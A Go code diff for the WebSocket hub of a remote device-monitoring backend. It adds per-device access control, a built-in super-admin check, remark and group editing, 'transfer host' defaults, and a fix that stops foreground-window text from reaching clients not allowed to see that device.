if h.acl != nil {
deviceAcl = "true"
}
return `,"caps":{"multiWatch":true,"keyframeRequest":true,"offlineDevices":true,"auditLog":true,"deviceAcl":` + deviceAcl + `}`
}
// maxWatchPerClient bounds the number of devices one WebSocket may stream at
// once. The wall tops out at 25 tiles; the slack covers a focus switch racing
@@ -152,6 +160,9 @@ type wsHub struct {
auth *wsauth.Authenticator
devices *hub.Hub
history *devicehistory.Store // nil → device_list stays online-only
acl *DeviceACL // nil → every device is public (tests/embedders)
notes *DeviceNotes // nil → no "edit remark" entry (MFC backend)
groups *DeviceGroups // nil → no "edit group" entry (MFC backend)
log *logger.Logger
mu sync.RWMutex
@@ -172,6 +183,16 @@ type wsHub struct {
loginIPLimit *wsauth.RateLimiter
loginUserLimit *wsauth.RateLimiter
trustForwardedFor bool // honor X-Forwarded-For (only when behind a trusted proxy)
// transferTarget / transferDays pre-fill the "transfer host" dialog and,
// by being reported to the browser, tell the shared page that this backend
// implements COMMAND_ASSIGN_MASTER at all (see withTransferDefaults).
// transferTransport is the link the transferred host uses to reach the
// target (protocol.TransferTransport*); it is sent in the command because
// the clients keep their current link when it is missing.
transferTarget string
transferDays float64
transferTransport int
}
func newWSHub(auth *wsauth.Authenticator, devices *hub.Hub, history *devicehistory.Store, log *logger.Logger) *wsHub {
@@ -210,6 +231,68 @@ func (h *wsHub) withTrustForwardedFor(trust bool) *wsHub {
return h
}
// withDeviceACL wires the per-device owner table. nil keeps the legacy
// "every authenticated session may access every device" behaviour, which is
// what embedders/tests without the ACL set up get.
func (h *wsHub) withDeviceACL(acl *DeviceACL) *wsHub {
h.acl = acl
return h
}
// withDeviceNotes installs the per-device remark table. A nil table disables
// "edit remark": its presence is what the device_list reply reports as
// remarkEdit, so the shared page only offers the menu entry on a backend that
// implements it (the MFC server does not).
func (h *wsHub) withDeviceNotes(notes *DeviceNotes) *wsHub {
h.notes = notes
return h
}
// withDeviceGroups installs the per-device group override table. A nil table
// disables "edit group": its presence is what the device_list reply reports as
// groupEdit, so the shared page only offers the menu entry on a backend that
// implements it (the MFC server does not).
func (h *wsHub) withDeviceGroups(groups *DeviceGroups) *wsHub {
h.groups = groups
return h
}
// withTransferDefaults installs the pre-filled target/days and the link type
// (protocol.TransferTransport*) for the web UI's "transfer host" dialog. An
// empty target still enables the feature: the operator types the address in
// the dialog. The front-end keys the button's visibility off this being
// reported at all, so the shared page shows no transfer button on the MFC
// server (which never reports it).
func (h *wsHub) withTransferDefaults(target string, days float64, transport int) *wsHub {
h.transferTarget = target
if days <= 0 {
days = 1 // one day is enough for an upgrade round-trip
}
h.transferDays = days
h.transferTransport = transport
return h
}
// isSuperAdmin reports whether this session is the built-in admin account
// (username "admin" + role admin). Other admin-role users — local accounts
// created in the user panel or portal admins bridged by SSO — are device-
// scoped by the ACL and must NOT be treated as superadmins.
//
// The "admin" username cannot be minted elsewhere: wsauth.CreateUser rejects
// it, the users.json loader skips it, local password login rejects '@' names,
// and handleSSO refuses a portal identity named "admin".
func (c *wsClient) isSuperAdmin() bool {
return c != nil && c.role == "admin" && c.user == "admin"
}
// canAccessDevice applies the visibility matrix from deviceAllowed.
func (h *wsHub) canAccessDevice(c *wsClient, deviceID string) bool {
if c == nil || deviceID == "" {
return false
}
return deviceAllowed(h.acl, c.user, c.role, deviceID)
}
// checkOrigin decides whether to accept a WebSocket upgrade based on
// the request's Origin header. Same-origin (Origin host == Host) is
// always accepted; explicit allowlist entries cover the
@@ -512,7 +595,10 @@ func (h *wsHub) OnDeviceUpdate(id string, rtt int, activeWindow string) {
h.mu.RLock()
defer h.mu.RUnlock()
for c := range h.clients {
if c.token != "" {
// Heartbeat data includes the device's foreground-window text. Sending
// it to clients that cannot access the device would leak both its
// existence and what its user is doing.
if c.token != "" && deviceAllowed(h.acl, c.user, c.role, id) {
c.queue(payload)
}
}
@@ -673,7 +759,7 @@ func (h *wsHub) serve(w http.ResponseWriter, r *http.Request) {
go h.writeLoop(client)
// Greet with a challenge nonce so the browser can compute the login response.
client.queue([]byte(`{"cmd":"challenge","nonce":"` + nonce + `"` + challengeCaps + `}`))
client.queue([]byte(`{"cmd":"challenge","nonce":"` + nonce + `"` + h.challengeCaps() + `}`))
h.readLoop(client)
}
Loaded 100 of 108 files, more files were not shown because too many files have changed in this diff. Show more